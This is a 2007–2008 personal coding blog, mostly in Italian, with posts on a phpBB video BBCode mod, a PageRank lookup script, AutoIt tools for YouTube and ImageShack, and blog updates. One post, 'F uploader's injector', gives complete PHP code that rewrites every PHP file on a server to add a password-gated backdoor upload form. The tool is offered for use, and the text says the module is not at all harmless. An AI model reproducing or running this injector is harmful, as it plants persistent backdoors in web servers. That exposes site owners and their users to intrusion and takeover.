F-Place

Framp's blog

Powered by FrampCMS
















[PHPBB3] Video BBCode

by Framp 13, 1, 2008 - 14:39:36

Discussion at phpbb

MOD Title: Video BBCode
MOD Description: This MOD will add a BBCode called "video", which lets users add youtube, googlevideo, dailymotion, metacafe. myspace, starsclips, yahoo, photobucket, filefront, veoh, vidilife, gametrailers, vidiac, gamespot, megavideo, vimeo, gamevideos, tu.tv, godtube. myvideo, collegehumor, comedycentral, slideshare, revver, sevenload, clipfish videos to their post.

MOD Version: 0.1.3

MOD Download: Here or here

Demo Board: None at the moment.

HowTo install:

Copy root/video.php to your root forum dir (the one which contain viewtopic.php)

Go to the Administration Control Panel and navigate to the "Posting" tab, then
to the "BBCodes" section. Click the "Add a new BBCode" button. The following
page is where you are to enter the information for the new BBCode.

(1) In the "BBCode usage" area, enter the following:


(4) In the "Settings" area, check the box for "Display on posting page" if
you want a "video" button placed alongside the other BBCode buttons.

When that's all filled out, click "Submit".


Version 0.0.0
Initial Release
Version 0.0.1
Added MySpace and StarsClips.net
Fixed an issue with dailymotion
Version 0.0.2
Removed unwanted services link (Now this bbcode will return only video :) )
Some bugfixes
Version 0.0.3
Added Yahoo
Version 0.0.4
Added Photobucket
Added FileFront :D
Version 0.0.5
Fixed Photobucket
Added Stage6, Veoh and Vidilife
Version 0.0.6
Added GameTrailers, Vidiac, Gamespot, Megavideo and Vimeo
Version 0.0.7
Fixed GameTrailers
Added Gamevideos
Added some internal vars
Version 0.0.8
Fixed Myspace
Added Tu.tv and Godtube
Version 0.0.9
Fixed Youtube (issue linked to myspace fix -_-)
Version 0.1.0
Re-fixed Myspace (added support for myspacetv.com links)
Version 0.1.1
Fixed support for php4
Version 0.1.2
Re-wrote all the code
Fixed issues with some videos hosting
Version 0.1.3
Added Myvideo, CollegeHumor, ComedyCentral, Slideshare, Revver, Sevenload, Clipfish

Author: Me :P (Fraev or Framp, it depends from the boards)

Needed: allow_url_fopen = On ( needed for some video website)
How it works: The script simply extract the id video from the link inserted and return the proper "embed code" replacing the video id.
For some websites (Dailymotion, Yahoo, Photobucket, Filesfront, Vidilife, Gamespot, Megavideo, Gamevideos, Tu.tv and Slideshare) the script makes a connection to the video page and extract the "embed code" (that's why you need allow_url_fopen enabled).

About version 0.1.2:
I've rewrote all the script to make it use regex instead *a lot* of explode.
I've also tested the flash players syntax on konqueror, safari, firefox and ie and the script seems to work quite well.

IMPORTANT:
If you experience any problems remember the following things:
1. For Dailymotion, Yahoo, Photobucket, Filesfront, Vidilife, Gamespot, Megavideo, Gamevideos, Tu.tv and Slideshare you need allow_url_fopen enabled
2. Websites may change really rapidly so it may be a change in how sites broadcast videos.
3. Sometimes servers don't have enough bandwidth to connect to video servers and they fail.
4. Loading too many videos in the same page can be quite annoying for the user and some browsers don't handle very well too many flash players at the same time.
5. To test the script out of phpbb you can go with your browser to http://mysite/myforumpath/video.php?debug=1&link=myvideolink.

Add video support: To add support to other websites you can add an array into $values array at line 13
The array you've to create will contain 2 fields:
The first one is a regex that the link inserted has to match. In this regex the id video (optional) has to be grouped by using ( ) ('brackets').
The second one is the "embed code" you can usually found on the video page.
You can use 3 variables to define the embed code:
{ID_VIDEO} => will be replaced with the ID VIDEO retrieved by the first element of the array
{LINK} => will be replaced with the link provided by the user
{DOWNLOADurl%regex%function1|function2|...} => will be replaced with the value defined by regex in the first brackets, founded in the html code of the page url. Before returning the value, function1, function2, etc will be executed passing the value as the first and unique element. Functions are optional.
If url is not defined the script will use {LINK}.
You need allow_url_fopen enabled to use this variable.
The regex used in the script are compatible with preg_match

I'll create a website where users can create and submit their "video support arrays" as soon as I can
Let me know what you think ;)
If you have any suggestions or problems post it in this topic
Bye


6 commenti



Pagerank? No problems

by Framp 8, 1, 2008 - 23:09:36

Recentemente ho avuto la necessità di usare un calcolatore di page-ranking.
Dopo un'infinità di script vecchi e non funzionanti ho trovato questo script in php.

Ecco il codice by HM2K (Adesso, il 9 gennaio 2008 funziona)
<?php
//PageRank Lookup v1.1 by HM2K (update: 31/01/07)
//based on an alogoritham found here: http://pagerank.gamesaga.net/

//settings - host and user agent
$googlehost='toolbarqueries.google.com';
$googleua='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5';

//convert a string to a 32-bit integer
function StrToNum($Str, $Check, $Magic) {
$Int32Unit = 4294967296; // 2^32

$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
//If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31),
// the result of converting to integer is undefined
// refer to http://www.php.net/manual/en/language.types.integer.php
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
//if the check less than -2^31
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}

//genearate a hash for a url
function HashURL($String) {
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);

$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

return ($T1 | $T2);
}

//genearate a checksum for the hash string
function CheckHash($Hashnum) {
$CheckByte = 0;
$Flag = 0;

$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);

for ($i = $length - 1; $i >= 0; $i --) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}

$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}

return '7'.$CheckByte.$HashStr;
}

//return the pagerank checksum hash
function getch($url) { return CheckHash(HashURL($url)); }

//return the pagerank figure
function getpr($url) {
global $googlehost,$googleua;
$ch = getch($url);
$fp = fsockopen($googlehost, 80, $errno, $errstr, 30);
if ($fp) {
$out = "GET /search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url HTTP/1.1rn";
//echo "<pre>$out</pre>n"; //debug only
$out .= "User-Agent: $googleuarn";
$out .= "Host: $googlehostrn";
$out .= "Connection: Closernrn";

fwrite($fp, $out);

//$pagerank = substr(fgets($fp, 128), 4); //debug only
//echo $pagerank; //debug only
while (!feof($fp)) {
$data = fgets($fp, 128);
//echo $data;
$pos = strpos($data, "Rank_");
if($pos === false){} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("n",'',$pr);
return $pr;
}
}
//else { echo "$errstr ($errno)<br />n"; } //debug only
fclose($fp);
}
}

//generate the graphical pagerank
function pagerank($url,$width=40,$method='style') {
if (!preg_match('/^(http://)?([^/]+)/i', $url)) { $url='http://'.$url; }
$pr=getpr($url);
$pagerank="PageRank: $pr/10";

//The (old) image method
if ($method == 'image') {
$prpos=$width*$pr/10;
$prneg=$width-$prpos;
$html='<img src="http://www.google.com/images/pos.gif" width='.$prpos.' height=4 border=0 alt="'.$pagerank.'"><img src="http://www.google.com/images/neg.gif" width='.$prneg.' height=4 border=0 alt="'.$pagerank.'">';
}
//The pre-styled method
if ($method == 'style') {
$prpercent=100*$pr/10;
$html='<div style="position: relative; width: '.$width.'px; padding: 0; background: #D9D9D9;"><strong style="width: '.$prpercent.'%; display: block; position: relative; background: #5EAA5E; text-align: center; color: #333; height: 4px; line-height: 4px;"><span></span></strong></div>';
}

$out='<a href="'.$url.'" title="'.$pagerank.'">'.$html.'</a>';
return $out;
}

//if ((!isset($_POST['url'])) && (!isset($_GET['url']))) { echo '<form action="" method="post"><input name="url" type="text"><input type="submit" name="Submit" value="Get Pagerank"></form>'; }
if (isset($_REQUEST['url'])) { echo pagerank($_REQUEST['url']); }
?>


Visto che google continua a cambiare strategie vedrò di tenere anch'io aggiornata questa pagina.
Beh, buon page-ranking :)
Ciaoz

PS: non controllate il page-rank del mio blog.. abbiate pietà :D
PS2: i miei bbcode sembrano fungere dopotutto X)


6 commenti



F uploader's injector[PHP]

by Framp 4, 1, 2008 - 15:05:16


<?php
function scandir_recursive($path)
{
if (!is_dir($path)) return 0;
$list=array();
$directory = @opendir("$path"); // @-no error display
while ($file= @readdir($directory))
{
if (($file<>".")&&($file<>".."))
{
$f=$path."/".$file;
$f=preg_replace('/(/){2,}/','/',$f); //replace double slashes
if(is_file($f)) $list[]=$f;
if(is_dir($f))
$list = array_merge($list ,scandir_recursive($f)); //RECURSIVE CALL
}
}
@closedir($directory);
return $list ;
}
echo '<html><title>Fraev Uploader Injector</title> <body bgcolor="black"> <center> <font color="white">
<p>Fraev Uploader Injector</p>
<p><small>With this powerful tool you can inject an uploader in every php script on a server</small></p>
<p>filename.php?password1=password2</p>
<form method="post" action="'.$_SERVER['PHP_SELF'].'">
<p>path: <input type="text" name="path" title="" value="'.dirname($_SERVER['SCRIPT_FILENAME']).'"></p>
<p>password1: <input type="text" name="pass1" title="" value=""></p>
<p>password2: <input type="text" name="pass2" title="" value=""></p>
<p><input type="submit" name="inj" title="Inject uploaders!" value="Inject"></p>
</form>';
If ($_POST['inj']) {
If ($_POST['path'] && $_POST['pass1'] && $_POST['pass2']) {
$folders = scandir_recursive($_POST['path']);
For ($x=0;$x<=count($folders);$x++)
{
$ext = explode (".",$folders[$x]);
$name = explode ("/",$folders[$x]);
If ($ext[count($ext)-1]=='php' && end($name)!=basename($_SERVER['PHP_SELF']) && end($name)!="c2007.php" && end($name)!="c99.php")
{
echo $folders[$x].'<br>';
$old = file_get_contents($folders[$x]);
$file=fopen($folders[$x],"w+");
$string = '<? /*injector sign*/ If ($_GET[''.$_POST['pass1'].'']==''.$_POST['pass2'].''){ session_start(); $_SESSION['ok']='8e852ef3b6dbd9a80b185d118f50c30f'; }else{ session_start();} If ($_SESSION['ok']=='8e852ef3b6dbd9a80b185d118f50c30f') { echo '<html><title>Fraev Uploader Injector</title> <body bgcolor="black"> <center> <font color="white"> <p>Fraev has been here</p> <form method=post action="'.$_SERVER['PHP_SELF'].'" enctype="multipart/form-data"> <input type=file name="uploadfile"><br><br> <input name="up" type="submit" value="UpLoAd"> </form>'; if ($_POST['up']){ if ( $uploadfile == "none" ) { die ( "No file sent<BR>"); } if (copy($uploadfile,$uploadfile_name)) { echo "File sent"; unlink($uploadfile); }else{ echo "Error: No file sent"; } } echo '<form method=post action="'.$_SERVER['PHP_SELF'].'"><input name="de" type="submit" value="DeStRoY SesSiON"> </form> '; if ($_POST['de']) {session_start(); session_unset(); session_destroy(); echo 'Session destroyed'; } echo ' </font> </center> </body> </html>'; exit; } ?>';
fwrite($file, $string.$old);
fclose($file);
}
}
}else{ echo '<p>Input error</p>'; }
}
echo ' </font> </center> </body> </html>';
?>

Cosa fa? E' presto detto.
Inietta in tutti i file php che trova un piccolo (e per niente innocuo) modulo di upload richiamabile attraverso una chiamata GET particolare.


295 commenti



Youtubber[AutoIt]

by Framp 4, 1, 2008 - 15:03:33


#include <GUIConstants.au3>
#include <Date.au3>

#Region ### START Koda GUI section ### Form=
$youtubber = GUICreate("y0u7u883r", 346, 52, 447, 378, -1, BitOR($WS_EX_ACCEPTFILES,$WS_EX_TOOLWINDOW,$WS_EX_TOPMOST))
$video = GUICtrlCreateInput("y0u7u83 v1d30 h3r3", 0, 0, 345, 21)
GUICtrlSetState (-1, $GUI_DROPACCEPTED)
$down = GUICtrlCreateButton("d0wNl04d", 0, 24, 345, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$info = GUIGetCursorInfo ($youtubber)
If $info[4]=$video Then
If GUICtrlRead ($video)="y0u7u83 v1d30 h3r3" Then GUICtrlSetData ($video, "")
Else
If GUICtrlRead ($video)="" Then GUICtrlSetData ($video, "y0u7u83 v1d30 h3r3")
EndIf
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $down
InetGet (GUICtrlRead ($video), @TempDir & "youtubber.tmp")
$tres = StringSplit (FileRead (@TempDir & "youtubber.tmp"), "window.open( ""/watch_fullscreen?", 1)
$res = StringSplit ($tres[2], "&fs", 1)
$link = "http://www.youtube.com/get_video?" & StringReplace ($res[1], "&sk", "&sk")
ConsoleWrite ($link)
$tname = StringSplit (FileRead (@TempDir & "youtubber.tmp"), "<meta name=""title"" content=""", 1)
$name = StringSplit ($tname[2], """>", 1)
FileDelete (@TempDir & "youtubber.tmp")
$size = InetGetSize ($link)
if Not $size Then
MsgBox (0, "Errore", "Inserisci un link valido")
Else
DirCreate (@DesktopDir & "video")
$down = InetGet ($link,@DesktopDir & "video" & $name[1] & "(" & StringReplace (_Now (), "/", "-") & ")" &".flv",0,1 )
ProgressOn ("Downloading", "Scaricando " & $name[1], @InetGetBytesRead/1000 & "kb ricevuti ( 0 % )")
Do
ProgressSet (100*@InetGetBytesRead/$size, @InetGetBytesRead/1000 & " kb ricevuti ( " & Int (100*@InetGetBytesRead/$size) & " % )" )
Sleep(1)
If GUIGetMsg()=$GUI_EVENT_CLOSE then Exit
Until Not @InetGetActive
ProgressSet (100, @InetGetBytesRead/1000 & " kb ricevuti ( 100 % )")
Sleep (1000)
ProgressOff ()
MsgBox (0, "y0u7u883r", "Download terminato" & @CRLF & $name[1] & " è stato scaricato")
EndIf
EndSwitch
WEnd

Con questo script in autoit (per sistemi windows - tanto i *nixari hanno il fantastico youtube-dl -) potete scaricare un video di youtube.

Se non dovesse funzionare fatemelo sapere e provvederò a corregerlo.
Purtroppo la crew di Youtube (XD) a volte cambia qualcosa nella struttura della pagina che impedisce il corretto funzionamento di youtubber


489 commenti



Si comincia!

by Framp 4, 1, 2008 - 13:39:56

Ora che il blog è abbastanza completo posso cominciare a postare alcuni dei miei lavori

EDIT: come non detto, devo sistemare i css XD


6 commenti



New features!

by Framp 2, 1, 2008 - 02:22:13

Ho introdotto il sistema bbcode like di cui parlavo nel precedente articolo.


Avevo fatto un casino con le regex degli url, ma poi ho trovato la soluzione in un forum XD

io sono puro codice html


ho inserito anche un piccolo wrapper php
Tuo IP: 38.107.191.102

Beh, sono abbastanza soddisfatto.
Appena avrò altro tempo libero dovrò dedicarmi al pannello d'amministrazione che adesso è un po limitante...
EDIT: fatto anche questo XD
Il nuovo pannello rullaaaaa!

Ciaoz


13 commenti



Nuovo look

by Framp 30, 12, 2007 - 22:07:15

Alleluja, finalmente un look decente!
Grazie mille a Arcsin che ha creato questo template!

Adesso che riesco a guardare il blog senza vomitare mi è tornata voglia di ampliarlo.

Comincio con l'integrazione di una sorta di bbcode, vediamo cosa ne esce fuori :)

Ciaoz


15 commenti



A breve cambio di grafica...

by Framp 24, 12, 2007 - 12:45:13

A breve integrero' un template nel blog, così fa proprio schifetto :P

cmq buon zeus-day a tutti (ah, lo chiamano natale, sti pagani XDD)


1 commento



ImageShack with autoit: sample code

by Framp 3, 12, 2007 - 17:54:38

#include <ie.au3>
#include <date.au3>
Do
$path = FileOpenDialog ("Scegli il file da uppare su ImageShack", @DesktopDir, "ImageShack (*.jpg;*.jpeg;*.png;*.gif;*.bmp;*.tif;*.tiff;*.swf)",1)
If not @error Then
$o = _IECreate ("http://imageshack.us/",0, 0)
$form = _IEFormGetObjByName($o, "upform")
$inp = _IEGetObjByName ($form, "fileupload")
_IEAction($inp, "focus")
$h = _IEPropertyGet($o, "hwnd")
ControlSend($h, "", "[CLASS:Internet Explorer_Server; INSTANCE:1]", $path)
$sub = _IEGetObjByName ($form, "butan")
_IEAction ($sub, "click")
_IELoadWait ($o)
FileDelete (@TempDir & "imageshacker.tmp")
FileWrite (@TempDir & "imageshacker.tmp", _IEBodyReadHTML ($o))

$temp = StringSplit (Fileread (@TempDir & "imageshacker.tmp"), "<a href=""http://imageshack.us""><img src=""", 1)
$temp2 = StringSplit ($temp[2], """", 1)
$link = $temp2[1]
;;
$linkth = ""
$asd = StringSplit ($temp2[1], ".")
For $x= 1 to $asd[0]
$linkth = $linkth & $asd[$x] & "."
If $x = $asd[0]-1 then $linkth = $linkth & "th."
Next
;;
FileWrite ("links.txt", _Now () & " - I tuoi link:" & @CRLF & $link & @CRLF & $linkth & @CRLF & @CRLF)
ShellExecute ("links.txt")
EndIf

Until MsgBox (4, "Ancora?", "Vuoi uppare un altro file su ImageShack?")=7


3 commenti



let the beats roll

by Framp 29, 10, 2007 - 03:51:03



Now let the beats roll!

I've spent a long time waiting in the background,
but it's all cool cause I'm definitely back now.

Now let the beats roll, woo wo wo wo wo woo!

It's been a short time living on the verge
and then the music comes to get me like a surge!

If I sat there doing nothing with my days
how could I ever expect to get payed?


4 commenti



Benvenuti

by Framp 26, 9, 2007 - 19:56:12

Ho aperto questo piccolo blog personale :D

Spero vi piaccia XD

E' realizzato in php ed è ancora in costruzione
Piano piano aggiungerò funzionalità

ciaoz

edit: aggiunto edit dal pannello d'amministrazione
purtroppo ho un sacco di lavoro da fare.. X( nn posso dedicare molto tempo al blog

a breve scriverò qualcosa


2 commenti